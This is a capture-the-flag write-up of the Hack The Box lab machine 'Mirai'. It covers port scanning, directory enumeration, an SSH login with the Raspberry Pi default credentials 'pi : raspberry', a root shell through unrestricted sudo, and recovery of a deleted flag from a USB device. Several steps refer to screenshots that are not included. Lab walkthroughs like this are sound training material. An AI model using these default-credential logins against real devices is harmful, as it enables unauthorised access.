Summary
Mirai is an easy Linux box. It can be exploited by properly enumerating the application and finding an admin directory that discloses pi-hole is used. The default credentials were used to start a SSH shell. The user pi was able to execute all commands as root but the root.txt was lost and stored on the USB. However, it was also lost from the USB and has to be recovered by analysing the hard disk.
Discovery
Started off by running NmapAutomator.
Nmap discovered the following open ports and services:
PORT STATE SERVICE VERSION
21/tcp open ftp?
22/tcp open ssh OpenSSH 7.2p2
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
25565/tcp open minecraft Minecraft 1.11.2
Navigating to the webserver shows an empty page. Gobuster was used to find directories and files, the following were found:
http://10.129.103.93/admin (Status: 301)
http://10.129.103.93/versions (Status: 200)
Navigating to admin shows this page:
It is running pi-hole. The default credentials are apparantly:pi : raspberry
These could not be used to authenticate to the application but were used to open an SSH shell as pi. The following command was executed:can ssh pi@10.129.104.33
This provided the user.txt.
Privilege Escalation
The permissions for pi were checked:
pi@raspberrypi:~ $ sudo -l
Matching Defaults entries for pi on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User pi may run the following commands on localhost:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
Therefore, you can simply run su - and start a root shell. However, root.txt did not contain the original flag:
root@raspberrypi:~# cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
Ok, so lets check where the USB is mounted:
root@raspberrypi:/media/usbstick/lost+found# df -h
Filesystem Size Used Avail Use% Mounted on
aufs 8.5G 2.8G 5.3G 35% /
tmpfs 100M 13M 88M 13% /run
/dev/sda1 1.3G 1.3G 0 100% /lib/live/mount/persistence/sda1
/dev/loop0 1.3G 1.3G 0 100% /lib/live/mount/rootfs/filesystem.squashfs
tmpfs 250M 0 250M 0% /lib/live/mount/overlay
/dev/sda2 8.5G 2.8G 5.3G 35% /lib/live/mount/persistence/sda2
devtmpfs 10M 0 10M 0% /dev
tmpfs 250M 8.0K 250M 1% /dev/shm
tmpfs 5.0M 4.0K 5.0M 1% /run/lock
tmpfs 250M 0 250M 0% /sys/fs/cgroup
tmpfs 250M 8.0K 250M 1% /tmp
/dev/sdb 8.7M 93K 7.9M 2% /media/usbstick
tmpfs 50M 0 50M 0% /run/user/999
tmpfs 50M 0 50M 0% /run/user/1000
So, theres a USB in /media/usbstick. Let’s investigate that:
pi@raspberrypi:/media/usbstick $ ls
damnit.txt lost+found
pi@raspberrypi:/media/usbstick $ cat damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James
So, it seems to have been removed and to recover it you will need to analyse the hard disk. For usbstick this is /dev/sdb.
Let’s run strings against it:
Conclusion
I found this box a little bit less fun, it probably is one of the easier boxes from HTB and I did not learn too much from it. Hope you enjoyed the writeup though!